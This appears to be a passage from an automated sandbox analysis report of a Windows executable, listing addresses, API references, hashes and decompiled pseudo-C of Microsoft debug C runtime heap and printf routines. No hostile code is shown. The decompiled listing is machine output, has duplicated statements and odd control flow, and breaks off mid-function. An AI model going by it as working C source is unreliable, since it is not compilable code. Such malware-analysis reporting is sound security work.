0x004375a8
0x004375a8
0x004371db
0x00437285
0x00437351
0x00437353
0x0043735d
0x00437364
0x00437389
0x0043739b
0x004373a1
0x004373ab
0x004373b0
0x004373b8
0x004373b8
0x004373cd
0x004373ef
0x004373f1
0x004373fb
0x00437402
0x0043740f
0x00437415
0x0043741f
0x00437424
0x0043742c
0x00437430
0x0043743d
0x00437443
0x0043744d
0x00437452
0x0043745a
0x00437463
0x0043747b
0x00437496
0x004374ab
0x004374b0
0x004374b8
0x0043748a
0x00437493
0x00000000
0x00437493
0x004374bd
0x004374c3
0x004374c8
0x00000000
0x004374c8
0x004374d5
0x004374d8
0x00000000
0x004374d8
0x00437468
0x0043746e
0x00437473
0x00437473
0x00437430
0x00000000
0x00437402
0x004374e3
0x004374e9
0x004374ee
0x004374ee
0x0043736c
0x00437372
0x00437378
0x0043737d
0x0043737d
0x00000000
0x00437364
0x0043728f
0x004372a1
0x004372a1
0x004372b6
0x004372c4
0x004372c6
0x004372d0
0x004372d7
0x00437311
0x00437317
0x00437321
0x00437326
0x004372df
0x004372eb
0x004372f3
0x004372f3
0x004372f6
0x004372f9
0x004372ff
0x00437304
0x00437304
0x00000000
0x00000000
0x00000000
0x00000000
0x004371e1
0x004371e1
0x004371e1
0x004371e7
0x00000000
0x00000000
0x004371e9
0x004371f4
0x00437223
0x00437228
0x00437231
0x00437236
0x00437251
0x00437254
0x00000000
0x00437254
0x0043723b
0x00437241
0x00437246
0x004371f6
0x004371fb
0x00437201
0x0043720b
0x00437210
0x00437210
0x00000000
0x004371f4
0x0043725c
0x00437262
0x00437267
0x00000000

APIs

_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 0043720B
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 00437241
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 00437262
wcsncnt.LIBCMTD ref: 00437299
WideCharToMultiByte.KERNEL32(?,00000000,?,00000000,00000000,00000000,00000000,00000000), ref: 004372CA
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 004372FF
_wcslen.LIBCMTD ref: 0043750F
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 0043751D

Memory Dump Source

Source File: 0000000E.00000002.409547130.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000E.00000002.409537880.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000E.00000002.409607278.0000000000440000.00000004.00020000.sdmp Download File
Associated: 0000000E.00000002.409647814.000000000055A000.00000004.00020000.sdmp Download File
Associated: 0000000E.00000002.409667552.0000000000560000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_B55D.jbxd

Similarity

API ID: Locale$UpdateUpdate::~_$ByteCharMultiWide_wcslenwcsncnt
String ID:
API String ID: 4277434810-0
Opcode ID: 52babf2aa059d2923123ad3f94df2ec5cb9d162f7c6b0d4406c32d4b4a6ba0a6
Instruction ID: 8b4e67c97e908e1cfb2a3b56684bcfc5c26bc2e6826d41a11c3289efc00ce75c
Opcode Fuzzy Hash: 52babf2aa059d2923123ad3f94df2ec5cb9d162f7c6b0d4406c32d4b4a6ba0a6
Instruction Fuzzy Hash: 24D18CB0A04208EFCF18DF94C994AEEB7B1FF58314F20815AE4526B291DB38AE41DF55

Uniqueness

Uniqueness Score: -1.00%

Function 0041C5E5, Relevance: 31.8, APIs: 6, Strings: 12, Instructions: 264memoryCOMMON

Download Yara Rule

APIs

_CheckBytes.LIBCMTD ref: 0041C5F9
__CrtIsValidHeapPointer.LIBCMTD ref: 0041C685
_CheckBytes.LIBCMTD ref: 0041C730
_CheckBytes.LIBCMTD ref: 0041C7EA
_memset.LIBCMT ref: 0041C8E1
__free_base.LIBCMTD ref: 0041C8ED

Strings

_BLOCK_TYPE_IS_VALID(pHead->nBlockUse), xrefs: 0041C6EF
HEAP CORRUPTION DETECTED: after %hs block (#%d) at 0x%p.CRT detected that the application wrote to memory after end of heap buffer., xrefs: 0041C871
Client hook free failure., xrefs: 0041C65C
pHead->nLine == IGNORE_LINE && pHead->lRequest == IGNORE_REQ, xrefs: 0041C8AA
u!h@$@, xrefs: 0041C68F
The Block at 0x%p was allocated by aligned routines, use _aligned_free(), xrefs: 0041C609
f:\dd\vctools\crt_bld\self_x86\crt\src\dbgheap.c, xrefs: 0041C69D, 0041C6FB, 0041C8B6
_CrtIsValidHeapPointer(pUserData), xrefs: 0041C691
HEAP CORRUPTION DETECTED: before %hs block (#%d) at 0x%p.CRT detected that the application wrote to memory before start of heap buffer.Memory allocated at %hs(%d)., xrefs: 0041C779
HEAP CORRUPTION DETECTED: before %hs block (#%d) at 0x%p.CRT detected that the application wrote to memory before start of heap buffer., xrefs: 0041C7B7
HEAP CORRUPTION DETECTED: after %hs block (#%d) at 0x%p.CRT detected that the application wrote to memory after end of heap buffer.Memory allocated at %hs(%d)., xrefs: 0041C833
tDj, xrefs: 0041C63B

Memory Dump Source

Source File: 0000000E.00000002.409547130.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000E.00000002.409537880.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000E.00000002.409607278.0000000000440000.00000004.00020000.sdmp Download File
Associated: 0000000E.00000002.409647814.000000000055A000.00000004.00020000.sdmp Download File
Associated: 0000000E.00000002.409667552.0000000000560000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_B55D.jbxd

Similarity

API ID: BytesCheck$HeapPointerValid__free_base_memset
String ID: Client hook free failure.$HEAP CORRUPTION DETECTED: after %hs block (#%d) at 0x%p.CRT detected that the application wrote to memory after end of heap buffer.$HEAP CORRUPTION DETECTED: after %hs block (#%d) at 0x%p.CRT detected that the application wrote to memory after end of heap buffer.Memory allocated at %hs(%d).$HEAP CORRUPTION DETECTED: before %hs block (#%d) at 0x%p.CRT detected that the application wrote to memory before start of heap buffer.$HEAP CORRUPTION DETECTED: before %hs block (#%d) at 0x%p.CRT detected that the application wrote to memory before start of heap buffer.Memory allocated at %hs(%d).$The Block at 0x%p was allocated by aligned routines, use _aligned_free()$_BLOCK_TYPE_IS_VALID(pHead->nBlockUse)$_CrtIsValidHeapPointer(pUserData)$f:\dd\vctools\crt_bld\self_x86\crt\src\dbgheap.c$pHead->nLine == IGNORE_LINE && pHead->lRequest == IGNORE_REQ$tDj$u!h@$@
API String ID: 25084783-1491168652
Opcode ID: 6be94447cfd04a7abb6af570c1eb0e52c4768e5b2648e377d20e13f816c97d8f
Instruction ID: be1b5d5c5ab7653888bd84ba1d785c883e7662a45b2ab6b106426e55e2c60fda
Opcode Fuzzy Hash: 6be94447cfd04a7abb6af570c1eb0e52c4768e5b2648e377d20e13f816c97d8f
Instruction Fuzzy Hash: 2D91D475B80204FBDB24DB44DEC6FAA7365AB44704F34415AF604AB2C2D2B5EE81CB9D

Uniqueness

Uniqueness Score: -1.00%

Function 00434C97, Relevance: 28.2, APIs: 11, Strings: 5, Instructions: 241
COMMON

Download Yara Rule

C-Code - Quality: 65%

			E00434C97(void* __ebx, void* __edi, void* __esi, void* __eflags) {
				signed int* _t494;
				signed int _t502;
				void* _t507;
				signed int _t509;
				void* _t529;
				signed int _t547;
				void* _t558;
				signed int _t567;
				void* _t625;
				void* _t626;
				signed int _t627;
				void* _t629;
				void* _t630;

				L0:
				while(1) {
					L0:
					_t626 = __esi;
					_t625 = __edi;
					_t558 = __ebx;
					_t494 = E00428310(_t627 + 0x14);
					_t630 = _t629 + 4;
					 *(_t627 - 0x298) = _t494;
					if(E00433EC0() != 0) {
						goto L118;
					}
					L109:
					__edx = 0;
					if(0 == 0) {
						 *(__ebp - 0x32c) = 0;
					} else {
						 *(__ebp - 0x32c) = 1;
					}
					__eax =  *(__ebp - 0x32c);
					 *(__ebp - 0x29c) =  *(__ebp - 0x32c);
					if( *(__ebp - 0x29c) == 0) {
						_push(L"(\"\'n\' format specifier disabled\", 0)");
						_push(0);
						_push(0x695);
						_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
						_push(2);
						__eax = L0041E330();
						__esp = __esp + 0x14;
						if(__eax == 1) {
							asm("int3");
						}
					}
					if( *(__ebp - 0x29c) != 0) {
						L117:
						while(1) {
							L190:
							if( *(_t627 - 0x28) != 0) {
								goto L216;
							}
							L191:
							if(( *(_t627 - 0x10) & 0x00000040) != 0) {
								if(( *(_t627 - 0x10) & 0x00000100) == 0) {
									if(( *(_t627 - 0x10) & 0x00000001) == 0) {
										if(( *(_t627 - 0x10) & 0x00000002) != 0) {
											 *((char*)(_t627 - 0x14)) = 0x20;
											 *(_t627 - 0x1c) = 1;
										}
									} else {
										 *((char*)(_t627 - 0x14)) = 0x2b;
										 *(_t627 - 0x1c) = 1;
									}
								} else {
									 *((char*)(_t627 - 0x14)) = 0x2d;
									 *(_t627 - 0x1c) = 1;
								}
							}
							 *((intOrPtr*)(_t627 - 0x2c4)) =  *((intOrPtr*)(_t627 - 0x18)) -  *(_t627 - 0x24) -  *(_t627 - 0x1c);
							if(( *(_t627 - 0x10) & 0x0000000c) == 0) {
								E004356D0(0x20,  *((intOrPtr*)(_t627 - 0x2c4)),  *((intOrPtr*)(_t627 + 8)), _t627 - 0x24c);
								_t630 = _t630 + 0x10;
							}
							E00435710( *(_t627 - 0x1c), _t627 - 0x14,  *(_t627 - 0x1c),  *((intOrPtr*)(_t627 + 8)), _t627 - 0x24c);
							_t630 = _t630 + 0x10;
							if(( *(_t627 - 0x10) & 0x00000008) != 0) {
								if(( *(_t627 - 0x10) & 0x00000004) == 0) {
									E004356D0(0x30,  *((intOrPtr*)(_t627 - 0x2c4)),  *((intOrPtr*)(_t627 + 8)), _t627 - 0x24c);
									_t630 = _t630 + 0x10;
								}
							}
							if( *(_t627 - 0xc) == 0) {
								L212:
								E00435710( *((intOrPtr*)(_t627 - 4)),  *((intOrPtr*)(_t627 - 4)),  *(_t627 - 0x24),  *((intOrPtr*)(_t627 + 8)), _t627 - 0x24c);
								_t630 = _t630 + 0x10;
								goto L213;
							} else {
								L204:
								if( *(_t627 - 0x24) <= 0) {
									goto L212;
								}
								L205:
								 *(_t627 - 0x2dc) = 0;
								 *((intOrPtr*)(_t627 - 0x2c8)) =  *((intOrPtr*)(_t627 - 4));
								 *(_t627 - 0x2cc) =  *(_t627 - 0x24);
								while(1) {
									L206:
									 *(_t627 - 0x2cc) =  *(_t627 - 0x2cc) - 1;
									if( *(_t627 - 0x2cc) == 0) {
										break;
									}
									L207:
									 *(_t627 - 0x32e) =  *((intOrPtr*)( *((intOrPtr*)(_t627 - 0x2c8))));
									_t547 = E004341E0(_t627 - 0x2d0, _t627 - 0x2d8, 6,  *(_t627 - 0x32e) & 0x0000ffff);
									_t630 = _t630 + 0x10;
									 *(_t627 - 0x2dc) = _t547;
									 *((intOrPtr*)(_t627 - 0x2c8)) =  *((intOrPtr*)(_t627 - 0x2c8)) + 2;
									if( *(_t627 - 0x2dc) != 0) {
										L209:
										 *(_t627 - 0x24c) = 0xffffffff;
										break;
									}
									L208:
									if( *(_t627 - 0x2d0) != 0) {
										L210:
										E00435710( *((intOrPtr*)(_t627 + 8)), _t627 - 0x2d8,  *(_t627 - 0x2d0),  *((intOrPtr*)(_t627 + 8)), _t627 - 0x24c);
										_t630 = _t630 + 0x10;
										continue;
									}
									goto L209;
								}
								L211:
								L213:
								if( *(_t627 - 0x24c) >= 0) {
									if(( *(_t627 - 0x10) & 0x00000004) != 0) {
										E004356D0(0x20,  *((intOrPtr*)(_t627 - 0x2c4)),  *((intOrPtr*)(_t627 + 8)), _t627 - 0x24c);
										_t630 = _t630 + 0x10;
									}
								}
							}
							L216:
							if( *(_t627 - 0x20) != 0) {
								L0041C4F0( *(_t627 - 0x20), 2);
								_t630 = _t630 + 8;
								 *(_t627 - 0x20) = 0;
							}
							while(1) {
								L218:
								 *(_t627 - 0x251) =  *( *(_t627 + 0xc));
								_t598 =  *(_t627 - 0x251);
								 *(_t627 + 0xc) =  *(_t627 + 0xc) + 1;
								if( *(_t627 - 0x251) == 0 ||  *(_t627 - 0x24c) < 0) {
									break;
								} else {
									if( *(_t627 - 0x251) < 0x20 ||  *(_t627 - 0x251) > 0x78) {
										 *(_t627 - 0x310) = 0;
									} else {
										 *(_t627 - 0x310) =  *( *(_t627 - 0x251) +  &M00407E18) & 0xf;
									}
								}
								L7:
								 *(_t627 - 0x250) =  *(_t627 - 0x310);
								_t509 =  *(_t627 - 0x250) * 9;
								_t567 =  *(_t627 - 0x25c);
								_t598 = ( *(_t509 + _t567 + 0x407e38) & 0x000000ff) >> 4;
								 *(_t627 - 0x25c) = ( *(_t509 + _t567 + 0x407e38) & 0x000000ff) >> 4;
								if( *(_t627 - 0x25c) != 8) {
									L16:
									 *(_t627 - 0x318) =  *(_t627 - 0x25c);
									if( *(_t627 - 0x318) > 7) {
										continue;
									}
									L17:
									switch( *((intOrPtr*)( *(_t627 - 0x318) * 4 +  &M00435520))) {
										case 0:
											L18:
											 *(_t627 - 0xc) = 0;
											_t512 = E004311D0( *(_t627 - 0x251) & 0x000000ff, E0041AE00(_t627 - 0x40));
											_t633 = _t630 + 8;
											__eflags = _t512;
											if(_t512 == 0) {
												L24:
												E00435630( *(_t627 - 0x251) & 0x000000ff,  *(_t627 - 0x251) & 0x000000ff,  *((intOrPtr*)(_t627 + 8)), _t627 - 0x24c);
												_t630 = _t633 + 0xc;
												goto L218;
											} else {
												E00435630( *((intOrPtr*)(_t627 + 8)),  *(_t627 - 0x251) & 0x000000ff,  *((intOrPtr*)(_t627 + 8)), _t627 - 0x24c);
												_t633 = _t633 + 0xc;
												_t572 =  *( *(_t627 + 0xc));
												 *(_t627 - 0x251) =  *( *(_t627 + 0xc));
												_t598 =  *(_t627 + 0xc) + 1;
												__eflags = _t598;
												 *(_t627 + 0xc) = _t598;
												asm("sbb eax, eax");
												 *(_t627 - 0x27c) =  ~( ~( *(_t627 - 0x251)));
												if(_t598 == 0) {
													_push(L"(ch != _T(\'\\0\'))");
													_push(0);
													_push(0x486);
													_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
													_push(2);
													_t524 = L0041E330();
													_t633 = _t633 + 0x14;
													__eflags = _t524 - 1;
													if(_t524 == 1) {
														asm("int3");
													}
												}
												L22:
												__eflags =  *(_t627 - 0x27c);
												if( *(_t627 - 0x27c) != 0) {
													goto L24;
												} else {
													 *((intOrPtr*)(L00422E20(_t572))) = 0x16;
													E00422BB0(_t558, _t572, _t625, _t626, L"(ch != _T(\'\\0\'))", L"_output_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x486, 0);
													 *(_t627 - 0x2f4) = 0xffffffff;
													E0041ADD0(_t627 - 0x40);
													_t502 =  *(_t627 - 0x2f4);
													goto L229;
												}
											}
										case 1:
											L25:
											 *(__ebp - 0x2c) = 0;
											__edx =  *(__ebp - 0x2c);
											 *(__ebp - 0x28) =  *(__ebp - 0x2c);
											__eax =  *(__ebp - 0x28);
											 *(__ebp - 0x18) =  *(__ebp - 0x28);
											__ecx =  *(__ebp - 0x18);
											 *(__ebp - 0x1c) = __ecx;
											 *(__ebp - 0x10) = 0;
											 *(__ebp - 0x30) = 0xffffffff;
											 *(__ebp - 0xc) = 0;
											goto L218;
										case 2:
											L26:
											__edx =  *((char*)(__ebp - 0x251));
											 *(__ebp - 0x31c) =  *((char*)(__ebp - 0x251));
											 *(__ebp - 0x31c) =  *(__ebp - 0x31c) - 0x20;
											 *(__ebp - 0x31c) =  *(__ebp - 0x31c) - 0x20;
											__eflags =  *(__ebp - 0x31c) - 0x10;
											if( *(__ebp - 0x31c) > 0x10) {
												goto L33;
											}
											L27:
											__ecx =  *(__ebp - 0x31c);
											_t73 = __ecx + 0x435558; // 0x498d04
											__edx =  *_t73 & 0x000000ff;
											switch( *((intOrPtr*)(( *_t73 & 0x000000ff) * 4 +  &M00435540))) {
												case 0:
													goto L30;
												case 1:
													goto L31;
												case 2:
													goto L29;
												case 3:
													goto L28;
												case 4:
													goto L32;
												case 5:
													goto L33;
											}
										case 3:
											L34:
											__edx =  *((char*)(__ebp - 0x251));
											__eflags =  *((char*)(__ebp - 0x251)) - 0x2a;
											if( *((char*)(__ebp - 0x251)) != 0x2a) {
												__eax =  *(__ebp - 0x18);
												__eax =  *(__ebp - 0x18) * 0xa;
												__eflags = __eax;
												__ecx =  *((char*)(__ebp - 0x251));
												_t97 = __ecx - 0x30; // -48
												__edx = __eax + _t97;
												 *(__ebp - 0x18) = __eax + _t97;
											} else {
												__eax = __ebp + 0x14;
												 *(__ebp - 0x18) = E00428310(__ebp + 0x14);
												__eflags =  *(__ebp - 0x18);
												if( *(__ebp - 0x18) < 0) {
													__ecx =  *(__ebp - 0x10);
													__ecx =  *(__ebp - 0x10) | 0x00000004;
													__eflags = __ecx;
													 *(__ebp - 0x10) = __ecx;
													 *(__ebp - 0x18) =  ~( *(__ebp - 0x18));
													 *(__ebp - 0x18) =  ~( *(__ebp - 0x18));
												}
											}
											goto L218;
										case 4:
											L40:
											 *(__ebp - 0x30) = 0;
											goto L218;
										case 5:
											L41:
											__eax =  *((char*)(__ebp - 0x251));
											__eflags =  *((char*)(__ebp - 0x251)) - 0x2a;
											if( *((char*)(__ebp - 0x251)) != 0x2a) {
												__edx =  *(__ebp - 0x30);
												__edx =  *(__ebp - 0x30) * 0xa;
												__eflags = __edx;
												_t108 =  *((char*)(__ebp - 0x251)) - 0x30; // -48
												__ecx = __edx + _t108;
												 *(__ebp - 0x30) = __ecx;
											} else {
												__ecx = __ebp + 0x14;
												 *(__ebp - 0x30) = E00428310(__ebp + 0x14);
												__eflags =  *(__ebp - 0x30);
												if( *(__ebp - 0x30) < 0) {
													 *(__ebp - 0x30) = 0xffffffff;
												}
											}
											goto L218;
										case 6:
											L47:
											__edx =  *((char*)(__ebp - 0x251));
											 *(__ebp - 0x320) =  *((char*)(__ebp - 0x251));
											 *(__ebp - 0x320) =  *(__ebp - 0x320) - 0x49;
											 *(__ebp - 0x320) =  *(__ebp - 0x320) - 0x49;
											__eflags =  *(__ebp - 0x320) - 0x2e;
											if( *(__ebp - 0x320) > 0x2e) {
												L70:
												goto L218;
											}
											L48:
											__ecx =  *(__ebp - 0x320);
											_t116 = __ecx + 0x435580; // 0x4d8e9003
											__edx =  *_t116 & 0x000000ff;
											switch( *((intOrPtr*)(( *_t116 & 0x000000ff) * 4 +  &M0043556C))) {
												case 0:
													L53:
													__edx =  *(__ebp + 0xc);
													__eax =  *( *(__ebp + 0xc));
													__eflags =  *( *(__ebp + 0xc)) - 0x36;
													if( *( *(__ebp + 0xc)) != 0x36) {
														L56:
														__edx =  *(__ebp + 0xc);
														__eax =  *( *(__ebp + 0xc));
														__eflags =  *( *(__ebp + 0xc)) - 0x33;
														if( *( *(__ebp + 0xc)) != 0x33) {
															L59:
															__edx =  *(__ebp + 0xc);
															__eax =  *( *(__ebp + 0xc));
															__eflags =  *( *(__ebp + 0xc)) - 0x64;
															if( *( *(__ebp + 0xc)) == 0x64) {
																L65:
																L67:
																goto L70;
															}
															L60:
															__ecx =  *(__ebp + 0xc);
															__edx =  *__ecx;
															__eflags =  *__ecx - 0x69;
															if( *__ecx == 0x69) {
																goto L65;
															}
															L61:
															__eax =  *(__ebp + 0xc);
															__ecx =  *( *(__ebp + 0xc));
															__eflags = __ecx - 0x6f;
															if(__ecx == 0x6f) {
																goto L65;
															}
															L62:
															__edx =  *(__ebp + 0xc);
															__eax =  *( *(__ebp + 0xc));
															__eflags =  *( *(__ebp + 0xc)) - 0x75;
															if( *( *(__ebp + 0xc)) == 0x75) {
																goto L65;
															}
															L63:
															__ecx =  *(__ebp + 0xc);
															__edx =  *__ecx;
															__eflags =  *__ecx - 0x78;
															if( *__ecx == 0x78) {
																goto L65;
															}
															L64:
															__eax =  *(__ebp + 0xc);
															__ecx =  *( *(__ebp + 0xc));
															__eflags = __ecx - 0x58;
															if(__ecx != 0x58) {
																 *(__ebp - 0x25c) = 0;
																goto L18;
															}
															goto L65;
														}
														L57:
														__ecx =  *(__ebp + 0xc);
														__edx =  *((char*)(__ecx + 1));
														__eflags =  *((char*)(__ecx + 1)) - 0x32;
														if( *((char*)(__ecx + 1)) != 0x32) {
															goto L59;
														} else {
															 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
															 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
															__ecx =  *(__ebp - 0x10);
															__ecx =  *(__ebp - 0x10) & 0xffff7fff;
															 *(__ebp - 0x10) = __ecx;
															goto L67;
														}
													}
													L54:
													__ecx =  *(__ebp + 0xc);
													__edx =  *((char*)(__ecx + 1));
													__eflags =  *((char*)(__ecx + 1)) - 0x34;
													if( *((char*)(__ecx + 1)) != 0x34) {
														goto L56;
													} else {
														 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
														 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
														__ecx =  *(__ebp - 0x10);
														__ecx =  *(__ebp - 0x10) | 0x00008000;
														 *(__ebp - 0x10) = __ecx;
														goto L67;
													}
												case 1:
													L68:
													 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000020;
													 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000020;
													goto L70;
												case 2:
													L49:
													__eax =  *(__ebp + 0xc);
													__ecx =  *( *(__ebp + 0xc));
													__eflags = __ecx - 0x6c;
													if(__ecx != 0x6c) {
														__ecx =  *(__ebp - 0x10);
														__ecx =  *(__ebp - 0x10) | 0x00000010;
														__eflags = __ecx;
														 *(__ebp - 0x10) = __ecx;
													} else {
														 *(__ebp + 0xc) =  *(__ebp + 0xc) + 1;
														 *(__ebp + 0xc) =  *(__ebp + 0xc) + 1;
														 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
														 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
													}
													goto L70;
												case 3:
													L69:
													__eax =  *(__ebp - 0x10);
													__eax =  *(__ebp - 0x10) | 0x00000800;
													__eflags = __eax;
													 *(__ebp - 0x10) = __eax;
													goto L70;
												case 4:
													goto L70;
											}
										case 7:
											L71:
											__ecx =  *((char*)(__ebp - 0x251));
											 *(__ebp - 0x324) = __ecx;
											 *(__ebp - 0x324) =  *(__ebp - 0x324) - 0x41;
											 *(__ebp - 0x324) =  *(__ebp - 0x324) - 0x41;
											__eflags =  *(__ebp - 0x324) - 0x37;
											if( *(__ebp - 0x324) > 0x37) {
												goto L190;
												do {
													do {
														while(1) {
															L190:
															if( *(_t627 - 0x28) != 0) {
																goto L216;
															}
															goto L191;
														}
														L186:
														__ebp - 0x49 = __ebp - 0x49 -  *(__ebp - 4);
														 *(__ebp - 0x24) = __ebp - 0x49 -  *(__ebp - 4);
														__ecx =  *(__ebp - 4);
														__ecx =  *(__ebp - 4) + 1;
														 *(__ebp - 4) = __ecx;
														 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000200;
														__eflags =  *(__ebp - 0x10) & 0x00000200;
													} while (( *(__ebp - 0x10) & 0x00000200) == 0);
													__eflags =  *(__ebp - 0x24);
													if( *(__ebp - 0x24) == 0) {
														break;
													}
													L188:
													__eax =  *(__ebp - 4);
													__ecx =  *( *(__ebp - 4));
													__eflags = __ecx - 0x30;
												} while (__ecx == 0x30);
												L189:
												 *(__ebp - 4) =  *(__ebp - 4) - 1;
												 *(__ebp - 4) =  *(__ebp - 4) - 1;
												__eax =  *(__ebp - 4);
												 *( *(__ebp - 4)) = 0x30;
												__ecx =  *(__ebp - 0x24);
												__ecx =  *(__ebp - 0x24) + 1;
												__eflags = __ecx;
												 *(__ebp - 0x24) = __ecx;
												while(1) {
													L190:
													if( *(_t627 - 0x28) != 0) {
														goto L216;
													}
													goto L191;
												}
											}
											L72:
											_t157 =  *(__ebp - 0x324) + 0x4355ec; // 0xcccccc0d
											__ecx =  *_t157 & 0x000000ff;
											switch( *((intOrPtr*)(__ecx * 4 +  &M004355B0))) {
												case 0:
													L122:
													 *(__ebp - 0x2c) = 1;
													__ecx =  *((char*)(__ebp - 0x251));
													__ecx =  *((char*)(__ebp - 0x251)) + 0x20;
													__eflags = __ecx;
													 *((char*)(__ebp - 0x251)) = __cl;
													goto L123;
												case 1:
													L73:
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
													__eflags =  *(__ebp - 0x10) & 0x00000830;
													if(( *(__ebp - 0x10) & 0x00000830) == 0) {
														__eax =  *(__ebp - 0x10);
														__eax =  *(__ebp - 0x10) | 0x00000800;
														__eflags = __eax;
														 *(__ebp - 0x10) = __eax;
													}
													goto L75;
												case 2:
													L88:
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
													__eflags =  *(__ebp - 0x10) & 0x00000830;
													if(( *(__ebp - 0x10) & 0x00000830) == 0) {
														__ecx =  *(__ebp - 0x10);
														__ecx =  *(__ebp - 0x10) | 0x00000800;
														__eflags = __ecx;
														 *(__ebp - 0x10) = __ecx;
													}
													goto L90;
												case 3:
													L146:
													 *(__ebp - 0x260) = 7;
													goto L148;
												case 4:
													L81:
													__eax = __ebp + 0x14;
													 *(__ebp - 0x288) = E00428310(__ebp + 0x14);
													__eflags =  *(__ebp - 0x288);
													if( *(__ebp - 0x288) == 0) {
														L83:
														__edx =  *0x440f80; // 0x404478
														 *(__ebp - 4) = __edx;
														__eax =  *(__ebp - 4);
														 *(__ebp - 0x24) = E0041DDD0( *(__ebp - 4));
														L87:
														goto L190;
													}
													L82:
													__ecx =  *(__ebp - 0x288);
													__eflags =  *(__ecx + 4);
													if( *(__ecx + 4) != 0) {
														L84:
														 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000800;
														__eflags =  *(__ebp - 0x10) & 0x00000800;
														if(( *(__ebp - 0x10) & 0x00000800) == 0) {
															 *(__ebp - 0xc) = 0;
															__edx =  *(__ebp - 0x288);
															__eax =  *(__edx + 4);
															 *(__ebp - 4) =  *(__edx + 4);
															__ecx =  *(__ebp - 0x288);
															__edx =  *__ecx;
															 *(__ebp - 0x24) =  *__ecx;
														} else {
															__edx =  *(__ebp - 0x288);
															__eax =  *(__edx + 4);
															 *(__ebp - 4) =  *(__edx + 4);
															__ecx =  *(__ebp - 0x288);
															__eax =  *__ecx;
															asm("cdq");
															 *__ecx - __edx =  *__ecx - __edx >> 1;
															 *(__ebp - 0x24) =  *__ecx - __edx >> 1;
															 *(__ebp - 0xc) = 1;
														}
														goto L87;
													}
													goto L83;
												case 5:
													L123:
													 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
													 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
													__eax = __ebp - 0x248;
													 *(__ebp - 4) = __ebp - 0x248;
													 *(__ebp - 0x44) = 0x200;
													__eflags =  *(__ebp - 0x30);
													if( *(__ebp - 0x30) >= 0) {
														L125:
														__eflags =  *(__ebp - 0x30);
														if( *(__ebp - 0x30) != 0) {
															L128:
															__eflags =  *(__ebp - 0x30) - 0x200;
															if( *(__ebp - 0x30) > 0x200) {
																 *(__ebp - 0x30) = 0x200;
															}
															L130:
															__eflags =  *(__ebp - 0x30) - 0xa3;
															if( *(__ebp - 0x30) > 0xa3) {
																 *(__ebp - 0x30) =  *(__ebp - 0x30) + 0x15d;
																 *(__ebp - 0x20) = L0041B870(__ecx,  *(__ebp - 0x30) + 0x15d, 2, "f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x6da);
																__eflags =  *(__ebp - 0x20);
																if( *(__ebp - 0x20) == 0) {
																	 *(__ebp - 0x30) = 0xa3;
																} else {
																	__eax =  *(__ebp - 0x20);
																	 *(__ebp - 4) =  *(__ebp - 0x20);
																	 *(__ebp - 0x30) =  *(__ebp - 0x30) + 0x15d;
																	 *(__ebp - 0x44) =  *(__ebp - 0x30) + 0x15d;
																}
															}
															 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
															 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
															__eax =  *(__ebp + 0x14);
															__ecx =  *(__eax - 8);
															__edx =  *(__eax - 4);
															 *(__ebp - 0x2a8) =  *(__eax - 8);
															 *(__ebp - 0x2a4) =  *(__eax - 4);
															__ecx = __ebp - 0x40;
															_push(E0041AE00(__ebp - 0x40));
															__eax =  *(__ebp - 0x2c);
															_push( *(__ebp - 0x2c));
															__ecx =  *(__ebp - 0x30);
															_push( *(__ebp - 0x30));
															__edx =  *((char*)(__ebp - 0x251));
															_push( *((char*)(__ebp - 0x251)));
															__eax =  *(__ebp - 0x44);
															_push( *(__ebp - 0x44));
															__ecx =  *(__ebp - 4);
															_push( *(__ebp - 4));
															__edx = __ebp - 0x2a8;
															_push(__ebp - 0x2a8);
															__eax =  *0x440374; // 0xf9b80f80
															__eax =  *__eax();
															__esp = __esp + 0x1c;
															 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
															__eflags =  *(__ebp - 0x10) & 0x00000080;
															if(( *(__ebp - 0x10) & 0x00000080) != 0) {
																__eflags =  *(__ebp - 0x30);
																if( *(__ebp - 0x30) == 0) {
																	__ecx = __ebp - 0x40;
																	_push(E0041AE00(__ebp - 0x40));
																	__edx =  *(__ebp - 4);
																	_push( *(__ebp - 4));
																	__eax =  *0x440380; // 0xfe6faf80
																	__eax =  *__eax();
																	__esp = __esp + 8;
																}
															}
															__ecx =  *((char*)(__ebp - 0x251));
															__eflags =  *((char*)(__ebp - 0x251)) - 0x67;
															if( *((char*)(__ebp - 0x251)) == 0x67) {
																 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																__eflags =  *(__ebp - 0x10) & 0x00000080;
